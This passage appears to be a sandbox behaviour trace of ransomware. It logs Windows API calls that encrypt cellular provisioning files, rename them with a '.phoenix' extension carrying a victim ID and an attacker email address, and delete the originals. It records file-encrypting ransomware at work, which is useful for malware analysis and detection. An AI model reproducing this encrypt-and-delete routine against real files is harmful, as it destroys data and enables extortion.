	[0251.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.692] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.692] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.692] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2be, lpOverlapped=0x0) returned 1
	[0251.694] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0251.694] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0251.695] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0251.695] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.695] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0251.695] CryptDestroyKey (hKey=0x151400) returned 1
	[0251.695] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0251.695] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.695] CloseHandle (hObject=0x2c4) returned 1
	[0251.695] CloseHandle (hObject=0x2e8) returned 1
	[0251.695] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.697] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.697] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.697] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.697] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.697] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.697] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28a, lpOverlapped=0x0) returned 1
	[0252.211] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0252.211] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0252.211] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0252.211] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.211] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0252.211] CryptDestroyKey (hKey=0x151680) returned 1
	[0252.211] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0252.212] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0252.212] CloseHandle (hObject=0x2e8) returned 1
	[0252.212] CloseHandle (hObject=0x2c4) returned 1
	[0252.212] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.213] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.213] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.213] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0252.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0252.214] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.214] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x29f, lpOverlapped=0x0) returned 1
	[0252.269] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0252.269] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0252.270] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0252.270] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.270] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xf0, dwBufLen=0xf0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xf0) returned 1
	[0252.270] CryptDestroyKey (hKey=0x151740) returned 1
	[0252.270] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1a2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1a2, lpOverlapped=0x0) returned 1
	[0252.270] CryptDestroyKey (hKey=0x151400) returned 1
	[0252.270] CloseHandle (hObject=0x2c4) returned 1
	[0252.270] CloseHandle (hObject=0x2e8) returned 1
	[0252.270] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.272] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.272] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.272] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.273] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0252.273] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.273] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0252.471] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0252.471] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0252.472] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0252.472] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.472] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0252.472] CryptDestroyKey (hKey=0x151280) returned 1
	[0252.472] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0252.472] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0252.472] CloseHandle (hObject=0x2e8) returned 1
	[0252.472] CloseHandle (hObject=0x2c4) returned 1
	[0252.472] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml")) returned 1
	[0252.474] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.474] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.474] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0252.474] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0252.474] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.474] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x368, lpOverlapped=0x0) returned 1
	[0252.491] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0252.491] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0252.493] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0252.493] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.493] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0252.493] CryptDestroyKey (hKey=0x151240) returned 1
	[0252.493] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0252.493] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0252.493] CloseHandle (hObject=0x2c4) returned 1
	[0252.494] CloseHandle (hObject=0x2e8) returned 1
	[0252.494] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.495] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.495] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.495] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.496] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0252.496] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.496] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x354, lpOverlapped=0x0) returned 1
	[0252.520] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0252.520] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0252.521] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0252.521] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.521] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0252.521] CryptDestroyKey (hKey=0x151200) returned 1
	[0252.521] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0252.521] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0252.521] CloseHandle (hObject=0x2e8) returned 1
	[0252.521] CloseHandle (hObject=0x2c4) returned 1
	[0252.522] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml")) returned 1
	[0252.523] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.523] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0252.524] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0252.524] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.524] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34e, lpOverlapped=0x0) returned 1
	[0252.532] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0252.532] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0252.533] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0252.533] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.533] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0252.533] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0252.533] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0252.533] CryptDestroyKey (hKey=0x151200) returned 1
	[0252.533] CloseHandle (hObject=0x2c4) returned 1
	[0252.533] CloseHandle (hObject=0x2e8) returned 1
	[0252.533] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml")) returned 1
	[0252.552] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.552] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.553] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0252.553] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
